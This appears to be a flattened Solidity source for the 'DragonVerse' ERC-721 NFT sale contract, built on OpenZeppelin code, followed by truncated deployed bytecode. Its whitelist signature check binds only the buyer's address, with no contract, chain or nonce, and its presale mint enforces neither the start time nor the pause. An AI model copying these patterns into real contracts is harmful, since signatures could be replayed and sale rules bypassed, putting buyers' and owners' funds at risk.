* @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: contracts/DragonVerse.sol //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Implementation of Non-Fungible Token Standard (ERC-721) * This contract is designed to be ready-to-use and versatile. */ contract DragonVerse is ERC721URIStorage, Ownable, Pausable { // general constants and immutable variables uint256 public maxItems = 9999; // maximum number of items in the collection uint256 public maxMintsPerTx = 5; // maximum number of mints per transaction uint256 public maxMintPreSale = 2; // maximum number of mint per wallet for the presale uint256 public startingTimePreSale = 1636743600; // UTC timestamp when minting starts for presale uint256 public startingTimePublicSale = 1636830000; // UTC timestamp when minting starts for public sale uint256 public pricePreSale = 0.08 ether; // price for minting one NFT uint256 public pricePublicSale = 0.1 ether; // price for minting one NFT uint256 public totalSupply; // number of NFTs minted thus far bool public specialMintLocked; // when `true`, `specialMint` cannot longer be called string public contractUri; mapping(address => uint256) public amountMintedWhitelist; // Keep track of the amount mint by the whitelist mapping(address => uint256[]) internal _ownerToIds; // mapping from owner to list of owned NFT IDs. mapping(uint256 => uint256) internal _idToOwnerIndex; address internal __wallet; // Address of the treasuary wallet string internal __baseURI; string internal _extensionURI; constructor(string memory name_, string memory symbol_, address wallet_, string memory _baseURI_, string memory _extensionURI_) ERC721(name_, symbol_) { __baseURI = _baseURI_; _extensionURI = _extensionURI_; __wallet = wallet_; } function setMaxMintsPerTx(uint256 _newMax) external onlyOwner { maxMintsPerTx = _newMax; } function setMaxMintsPreSale(uint256 _newMax) external onlyOwner { maxMintPreSale = _newMax; } function setStartingTimePreSale(uint256 _startingTime) external onlyOwner { startingTimePreSale = _startingTime; } function setStartingTimePublicSale(uint256 _startingTime) external onlyOwner { startingTimePublicSale = _startingTime; } function setPricePreSale(uint256 _newPrice) public onlyOwner { require(_newPrice > 0, "price must be positive"); pricePreSale = _newPrice; } function setPricePublicSale(uint256 _newPrice) public onlyOwner { require(_newPrice > 0, "price must be positive"); pricePublicSale = _newPrice; } function setWallet(address _wallet) external onlyOwner { __wallet = _wallet; } function setBaseURI(string memory _newBaseURI) external onlyOwner { __baseURI = _newBaseURI; } function setExtensionURI(string memory _newExtensionURI) external onlyOwner { _extensionURI = _newExtensionURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if(bytes(_extensionURI).length == 0){ return super.tokenURI(tokenId); } return string(abi.encodePacked(super.tokenURI(tokenId), _extensionURI)); } function contractURI() public view returns (string memory) { return string(abi.encodePacked(__baseURI, "contract/default.json")); } function getOwnerNFTs(address owner) public view returns (uint256[] memory){ return _ownerToIds[owner]; } function mint(uint256 _numToMint) external payable whenNotPaused { require(block.timestamp > startingTimePublicSale, "minting not open yet"); require(msg.value >= pricePublicSale * _numToMint, 'not enough eth'); require(_numToMint > 0, "not enough mint"); require((_numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(_numToMint <= maxMintsPerTx, "limit on minting too many at a time"); for(uint256 i=totalSupply; i < (totalSupply + _numToMint); i++){ _mint(msg.sender, i); } totalSupply += _numToMint; } function mintWhitelist(uint256 _numToMint, bytes memory signature) external payable { require(verify(signature, msg.sender)); // We check if the user has provided the correct data and if he's whitelisted require(msg.value >= pricePreSale * _numToMint, 'not enough eth'); require(_numToMint > 0, "not enough"); require((_numToMint + totalSupply) <= maxItems, "would exceed max supply"); require(_numToMint <= maxMintsPerTx, "limit on minting too many at a time"); require(amountMintedWhitelist[msg.sender] + _numToMint <= maxMintPreSale, "limit on minting too many while whitelisted"); for(uint256 i=totalSupply; i < (totalSupply + _numToMint); i++){ _mint(msg.sender, i); } amountMintedWhitelist[msg.sender] = amountMintedWhitelist[msg.sender] + _numToMint; totalSupply += _numToMint; } function mintSpecial(address[] memory recipients, uint256[] memory amounts) external onlyOwner { require(!specialMintLocked, "special mint permanently locked"); require(recipients.length == amounts.length, "arrays have different lengths"); for (uint256 i=0; i < recipients.length; i++){ for(uint256 j=totalSupply; j < (totalSupply + amounts[i]); j++){ _mint(recipients[i], j); } totalSupply += amounts[i]; } } function verify(bytes memory signature, address target) public view returns (bool) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(signature); bytes32 senderHash = keccak256(abi.encodePacked(target)); return (owner() == address(ecrecover(senderHash, v, r, s))); } function splitSignature(bytes memory sig) public pure returns (uint8, bytes32, bytes32) { require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } return (v, r, s); } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } // permanently prevent dev from calling `specialMint`. function lockSpecialMint() external onlyOwner { specialMintLocked = true; } function withdraw() external payable onlyOwner returns (bool success) { (success,) = payable(__wallet).call{value: address(this).balance}(""); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override { if(from != address(0)){ require(from == ownerOf(tokenId), "not owner"); } if(from == to){ return; } uint256 _idToPreviousOwnerIndex = _idToOwnerIndex[tokenId]; // adding token to array of new owner if(to != address(0)){ _ownerToIds[to].push(tokenId); _idToOwnerIndex[tokenId] = _ownerToIds[to].length - 1; } // remove token from array of previous owner if(from != address(0)){ uint256 _len = _ownerToIds[from].length; if(_idToPreviousOwnerIndex < (_len - 1)){ _ownerToIds[from][_idToPreviousOwnerIndex] = _ownerToIds[from][_len - 1]; } _ownerToIds[from].pop(); } } function _baseURI() internal view override returns (string memory) { return __baseURI; } }
0x6080604052600436106102885760003560e01c80638da5cb5b1161015a578063c3bb8c64116100c1578063deaa59df1161007a578063deaa59df1461076e578063e20346691461078e578063e8a3d485146107ae578063e985e9c5146107c3578063f29efaeb1461080c578063f2fde38b1461082c57600080fd5b8063c3bb8c64146106cc578063c4165653146106ec578063c87b56dd1461070c578063cd08c0461461072c578063d8d1038c14610742578063dc30158b1461075857600080fd5b8063a7bb580311610113578063a7bb580314610602578063b32142c414610641578063b843b09014610661578063b88d4fde14610681578063c0cf3f41146106a1578063c0e24d5e146106b757600080fd5b80638da5cb5b1461056f5780638ede9e4d1461058d57806395d89b41146105a75780639f41554a146105bc578063a0712d68146105cf578063a22cb465146105e257600080fd5b80633641d544116101fe57806355f804b3116101b757806355f804b3146104ae5780635c975abb146104ce5780636352211e146104ed57806370a082311461050d578063715018a61461052d5780638c0175721461054257600080fd5b80633641d5441461041a5780633c010a3e146104305780633ccfd60b146104465780633d3ac1b51461044e57806342842e0e1461046e57806342966c681461048e57600080fd5b806311b92aaf1161025057806311b92aaf14610362578063174da4a21461037757806318160ddd1461039757806323b872dd146103ad578063279ad417146103cd5780632e257676146103ed57600080fd5b806301ffc9a71461028d57806306fdde03146102c2578063081812fc146102e4578063095ea7b31461031c5780630fae42cd1461033e575b600080fd5b34801561029957600080fd5b506102ad6102a83660046129d0565b61084c565b60405190151581526020015b60405180910390f35b3480156102ce57600080fd5b506102d761089e565b6040516102b99190612cf1565b3480156102f057600080fd5b506103046102ff366004612acd565b610930565b6040516001600160a01b0390911681526020016102b9565b34801561032857600080fd5b5061033c6103373660046128df565b6109ca565b005b34801561034a57600080fd5b50610354600d5481565b6040519081526020016102b9565b34801561036e57600080fd5b5061033c610ae0565b34801561038357600080fd5b5061033c610392366004612acd565b610b19565b3480156103a357600080fd5b50610354600f5481565b3480156103b957600080fd5b5061033c6103c83660046127ff565b610b48565b3480156103d957600080fd5b5061033c6103e8366004612acd565b610b7a565b3480156103f957600080fd5b506103546104083660046127b1565b60126020526000908152604090205481565b34801561042657600080fd5b50610354600c5481565b34801561043c57600080fd5b5061035460085481565b6102ad610bf2565b34801561045a57600080fd5b506102ad610469366004612a3f565b610c79565b34801561047a57600080fd5b5061033c6104893660046127ff565b610d54565b34801561049a57600080fd5b5061033c6104a9366004612acd565b610d6f565b3480156104ba57600080fd5b5061033c6104c9366004612a84565b610de9565b3480156104da57600080fd5b50600754600160a01b900460ff166102ad565b3480156104f957600080fd5b50610304610508366004612acd565b610e2a565b34801561051957600080fd5b506103546105283660046127b1565b610ea1565b34801561053957600080fd5b5061033c610f28565b34801561054e57600080fd5b5061056261055d3660046127b1565b610f5e565b6040516102b99190612cad565b34801561057b57600080fd5b506007546001600160a01b0316610304565b34801561059957600080fd5b506010546102ad9060ff1681565b3480156105b357600080fd5b506102d7610fca565b61033c6105ca366004612ae6565b610fd9565b61033c6105dd366004612acd565b6111f0565b3480156105ee57600080fd5b5061033c6105fd3660046128a3565b6113df565b34801561060e57600080fd5b5061062261061d366004612a0a565b6114a4565b6040805160ff90941684526020840192909252908201526060016102b9565b34801561064d57600080fd5b5061033c61065c366004612acd565b6114d3565b34801561066d57600080fd5b5061033c61067c366004612909565b611502565b34801561068d57600080fd5b5061033c61069c36600461283b565b611687565b3480156106ad57600080fd5b50610354600a5481565b3480156106c357600080fd5b506102d76116bf565b3480156106d857600080fd5b5061033c6106e7366004612a84565b61174d565b3480156106f857600080fd5b5061033c610707366004612acd565b61178a565b34801561071857600080fd5b506102d7610727366004612acd565b6117b9565b34801561073857600080fd5b50610354600e5481565b34801561074e57600080fd5b50610354600b5481565b34801561076457600080fd5b5061035460095481565b34801561077a57600080fd5b5061033c6107893660046127b1565b61180b565b34801561079a57600080fd5b5061033c6107a9366004612acd565b611857565b3480156107ba57600080fd5b506102d76118cf565b3480156107cf57600080fd5b506102ad6107de3660046127cc565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561081857600080fd5b5061033c610827366004612acd565b6118f7565b34801561083857600080fd5b5061033c6108473660046127b1565b611926565b60006001600160e01b031982166380ac58cd60e01b148061087d57506001600160e01b03198216635b5e139f60e01b145b8061089857506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546108ad90612f02565b80601f01602080910402602001604051908101604052809291908181526020018280546108d990612f02565b80156109265780601f106108fb57610100808354040283529160200191610926565b820191906000526020600020905b81548152906001019060200180831161090957829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109ae5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006109d582610e2a565b9050806001600160a01b0316836001600160a01b03161415610a435760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016109a5565b336001600160a01b0382161480610a5f5750610a5f81336107de565b610ad15760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109a5565b610adb83836119be565b505050565b6007546001600160a01b03163314610b0a5760405162461bcd60e51b81526004016109a590612d99565b6010805460ff19166001179055565b6007546001600160a01b03163314610b435760405162461bcd60e51b81526004016109a590612d99565b600955565b610b53335b82611a2c565b610b6f5760405162461bcd60e51b81526004016109a590612dce565b610adb838383611b23565b6007546001600160a01b03163314610ba45760405162461bcd60e51b81526004016109a590612d99565b60008111610bed5760405162461bcd60e51b81526020600482015260166024820152757072696365206d75737420626520706f73697469766560501b60448201526064016109a5565b600e55565b6007546000906001600160a01b03163314610c1f5760405162461bcd60e51b81526004016109a590612d99565b6015546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610c6c576040519150601f19603f3d011682016040523d82523d6000602084013e610c71565b606091505b509092915050565b600080600080610c88866114a4565b6040516bffffffffffffffffffffffff1960608a901b166020820152929550909350915060009060340160408051601f1981840301815282825280516020918201206000845290830180835281905260ff8716918301919091526060820185905260808201849052915060019060a0016020604051602081039080840390855afa158015610d1a573d6000803e3d6000fd5b505050602060405103516001600160a01b0316610d3f6007546001600160a01b031690565b6001600160a01b031614979650505050505050565b610adb83838360405180602001604052806000815250611687565b610d7833610b4d565b610ddd5760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b60648201526084016109a5565b610de681611cce565b50565b6007546001600160a01b03163314610e135760405162461bcd60e51b81526004016109a590612d99565b8051610e269060169060208401906125dc565b5050565b6000818152600260205260408120546001600160a01b0316806108985760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016109a5565b60006001600160a01b038216610f0c5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016109a5565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b03163314610f525760405162461bcd60e51b81526004016109a590612d99565b610f5c6000611d0e565b565b6001600160a01b038116600090815260136020908152604091829020805483518184028101840190945280845260609392830182828015610fbe57602002820191906000526020600020905b815481526020019060010190808311610faa575b50505050509050919050565b6060600180546108ad90612f02565b610fe38133610c79565b610fec57600080fd5b81600d54610ffa9190612ea0565b34101561103a5760405162461bcd60e51b815260206004820152600e60248201526d0dcdee840cadcdeeaced040cae8d60931b60448201526064016109a5565b600082116110775760405162461bcd60e51b815260206004820152600a6024820152690dcdee840cadcdeeaced60b31b60448201526064016109a5565b600854600f546110879084612e74565b11156110cf5760405162461bcd60e51b8152602060048201526017602482015276776f756c6420657863656564206d617820737570706c7960481b60448201526064016109a5565b6009548211156110f15760405162461bcd60e51b81526004016109a590612d56565b600a543360009081526012602052604090205461110f908490612e74565b11156111715760405162461bcd60e51b815260206004820152602b60248201527f6c696d6974206f6e206d696e74696e6720746f6f206d616e79207768696c652060448201526a1dda1a5d195b1a5cdd195960aa1b60648201526084016109a5565b600f545b82600f546111839190612e74565b8110156111a6576111943382611d60565b8061119e81612f3d565b915050611175565b50336000908152601260205260409020546111c2908390612e74565b33600090815260126020526040812091909155600f80548492906111e7908490612e74565b90915550505050565b600754600160a01b900460ff161561123d5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016109a5565b600c5442116112855760405162461bcd60e51b81526020600482015260146024820152731b5a5b9d1a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016109a5565b80600e546112939190612ea0565b3410156112d35760405162461bcd60e51b815260206004820152600e60248201526d0dcdee840cadcdeeaced040cae8d60931b60448201526064016109a5565b600081116113155760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd08195b9bdd59da081b5a5b9d608a1b60448201526064016109a5565b600854600f546113259083612e74565b111561136d5760405162461bcd60e51b8152602060048201526017602482015276776f756c6420657863656564206d617820737570706c7960481b60448201526064016109a5565b60095481111561138f5760405162461bcd60e51b81526004016109a590612d56565b600f545b81600f546113a19190612e74565b8110156113c4576113b23382611d60565b806113bc81612f3d565b915050611393565b5080600f60008282546113d79190612e74565b909155505050565b6001600160a01b0382163314156114385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109a5565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600080600083516041146114b757600080fd5b5050506020810151604082015160609092015160001a92909190565b6007546001600160a01b031633146114fd5760405162461bcd60e51b81526004016109a590612d99565b600a55565b6007546001600160a01b0316331461152c5760405162461bcd60e51b81526004016109a590612d99565b60105460ff161561157f5760405162461bcd60e51b815260206004820152601f60248201527f7370656369616c206d696e74207065726d616e656e746c79206c6f636b65640060448201526064016109a5565b80518251146115d05760405162461bcd60e51b815260206004820152601d60248201527f617272617973206861766520646966666572656e74206c656e6774687300000060448201526064016109a5565b60005b8251811015610adb57600f545b8282815181106115f2576115f2612fae565b6020026020010151600f546116079190612e74565b8110156116435761163184838151811061162357611623612fae565b602002602001015182611d60565b8061163b81612f3d565b9150506115e0565b5081818151811061165657611656612fae565b6020026020010151600f600082825461166f9190612e74565b9091555081905061167f81612f3d565b9150506115d3565b6116913383611a2c565b6116ad5760405162461bcd60e51b81526004016109a590612dce565b6116b984848484611eae565b50505050565b601180546116cc90612f02565b80601f01602080910402602001604051908101604052809291908181526020018280546116f890612f02565b80156117455780601f1061171a57610100808354040283529160200191611745565b820191906000526020600020905b81548152906001019060200180831161172857829003601f168201915b505050505081565b6007546001600160a01b031633146117775760405162461bcd60e51b81526004016109a590612d99565b8051610e269060179060208401906125dc565b6007546001600160a01b031633146117b45760405162461bcd60e51b81526004016109a590612d99565b600c55565b6060601780546117c890612f02565b151590506117d95761089882611ee1565b6117e282611ee1565b60176040516020016117f5929190612c18565b6040516020818303038152906040529050919050565b6007546001600160a01b031633146118355760405162461bcd60e51b81526004016109a590612d99565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031633146118815760405162461bcd60e51b81526004016109a590612d99565b600081116118ca5760405162461bcd60e51b81526020600482015260166024820152757072696365206d75737420626520706f73697469766560501b60448201526064016109a5565b600d55565b606060166040516020016118e39190612c3f565b604051602081830303815290604052905090565b6007546001600160a01b031633146119215760405162461bcd60e51b81526004016109a590612d99565b600b55565b6007546001600160a01b031633146119505760405162461bcd60e51b81526004016109a590612d99565b6001600160a01b0381166119b55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a5565b610de681611d0e565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119f382610e2a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611aa55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109a5565b6000611ab083610e2a565b9050806001600160a01b0316846001600160a01b03161480611aeb5750836001600160a01b0316611ae084610930565b6001600160a01b0316145b80611b1b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b3682610e2a565b6001600160a01b031614611b9e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016109a5565b6001600160a01b038216611c005760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016109a5565b611c0b838383612053565b611c166000826119be565b6001600160a01b0383166000908152600360205260408120805460019290611c3f908490612ebf565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c6d908490612e74565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b611cd781612240565b60008181526006602052604090208054611cf090612f02565b159050610de6576000818152600660205260408120610de691612660565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216611db65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109a5565b6000818152600260205260409020546001600160a01b031615611e1b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109a5565b611e2760008383612053565b6001600160a01b0382166000908152600360205260408120805460019290611e50908490612e74565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b611eb9848484611b23565b611ec5848484846122e7565b6116b95760405162461bcd60e51b81526004016109a590612d04565b6000818152600260205260409020546060906001600160a01b0316611f625760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f72206044820152703737b732bc34b9ba32b73a103a37b5b2b760791b60648201526084016109a5565b60008281526006602052604081208054611f7b90612f02565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa790612f02565b8015611ff45780601f10611fc957610100808354040283529160200191611ff4565b820191906000526020600020905b815481529060010190602001808311611fd757829003601f168201915b5050505050905060006120056123f4565b9050805160001415612018575092915050565b81511561204a578082604051602001612032929190612be9565b60405160208183030381529060405292505050919050565b611b1b84612403565b6001600160a01b038316156120b75761206b81610e2a565b6001600160a01b0316836001600160a01b0316146120b75760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016109a5565b816001600160a01b0316836001600160a01b031614156120d657505050565b6000818152601460205260409020546001600160a01b03831615612141576001600160a01b03831660008181526013602090815260408220805460018181018355828552928420018690559290915290546121319190612ebf565b6000838152601460205260409020555b6001600160a01b038416156116b9576001600160a01b038416600090815260136020526040902054612174600182612ebf565b8210156121fc576001600160a01b038516600090815260136020526040902061219e600183612ebf565b815481106121ae576121ae612fae565b906000526020600020015460136000876001600160a01b03166001600160a01b0316815260200190815260200160002083815481106121ef576121ef612fae565b6000918252602090912001555b6001600160a01b038516600090815260136020526040902080548061222357612223612f98565b600190038181906000526020600020016000905590555050505050565b600061224b82610e2a565b905061225981600084612053565b6122646000836119be565b6001600160a01b038116600090815260036020526040812080546001929061228d908490612ebf565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60006001600160a01b0384163b156123e957604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061232b903390899088908890600401612c70565b602060405180830381600087803b15801561234557600080fd5b505af1925050508015612375575060408051601f3d908101601f19168201909252612372918101906129ed565b60015b6123cf573d8080156123a3576040519150601f19603f3d011682016040523d82523d6000602084013e6123a8565b606091505b5080516123c75760405162461bcd60e51b81526004016109a590612d04565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b1b565b506001949350505050565b6060601680546108ad90612f02565b6000818152600260205260409020546060906001600160a01b03166124825760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016109a5565b600061248c6123f4565b905060008151116124ac57604051806020016040528060008152506124d7565b806124b6846124de565b6040516020016124c7929190612be9565b6040516020818303038152906040525b9392505050565b6060816125025750506040805180820190915260018152600360fc1b602082015290565b8160005b811561252c578061251681612f3d565b91506125259050600a83612e8c565b9150612506565b60008167ffffffffffffffff81111561254757612547612fc4565b6040519080825280601f01601f191660200182016040528015612571576020820181803683370190505b5090505b8415611b1b57612586600183612ebf565b9150612593600a86612f58565b61259e906030612e74565b60f81b8183815181106125b3576125b3612fae565b60200101906001600160f81b031916908160001a9053506125d5600a86612e8c565b9450612575565b8280546125e890612f02565b90600052602060002090601f01602090048101928261260a5760008555612650565b82601f1061262357805160ff1916838001178555612650565b82800160010185558215612650579182015b82811115612650578251825591602001919060010190612635565b5061265c929150612696565b5090565b50805461266c90612f02565b6000825580601f1061267c575050565b601f016020900490600052602060002090810190610de691905b5b8082111561265c5760008155600101612697565b600067ffffffffffffffff8311156126c5576126c5612fc4565b6126d8601f8401601f1916602001612e1f565b90508281528383830111156126ec57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461271a57600080fd5b919050565b600082601f83011261273057600080fd5b8135602061274561274083612e50565b612e1f565b80838252828201915082860187848660051b890101111561276557600080fd5b60005b8581101561278457813584529284019290840190600101612768565b5090979650505050505050565b600082601f8301126127a257600080fd5b6124d7838335602085016126ab565b6000602082840312156127c357600080fd5b6124d782612703565b600080604083850312156127df57600080fd5b6127e883612703565b91506127f660208401612703565b90509250929050565b60008060006060848603121561281457600080fd5b61281d84612703565b925061282b60208501612703565b9150604084013590509250925092565b6000806000806080858703121561285157600080fd5b61285a85612703565b935061286860208601612703565b925060408501359150606085013567ffffffffffffffff81111561288b57600080fd5b61289787828801612791565b91505092959194509250565b600080604083850312156128b657600080fd5b6128bf83612703565b9150602083013580151581146128d457600080fd5b809150509250929050565b600080604083850312156128f257600080fd5b6128fb83612703565b946020939093013593505050565b60008060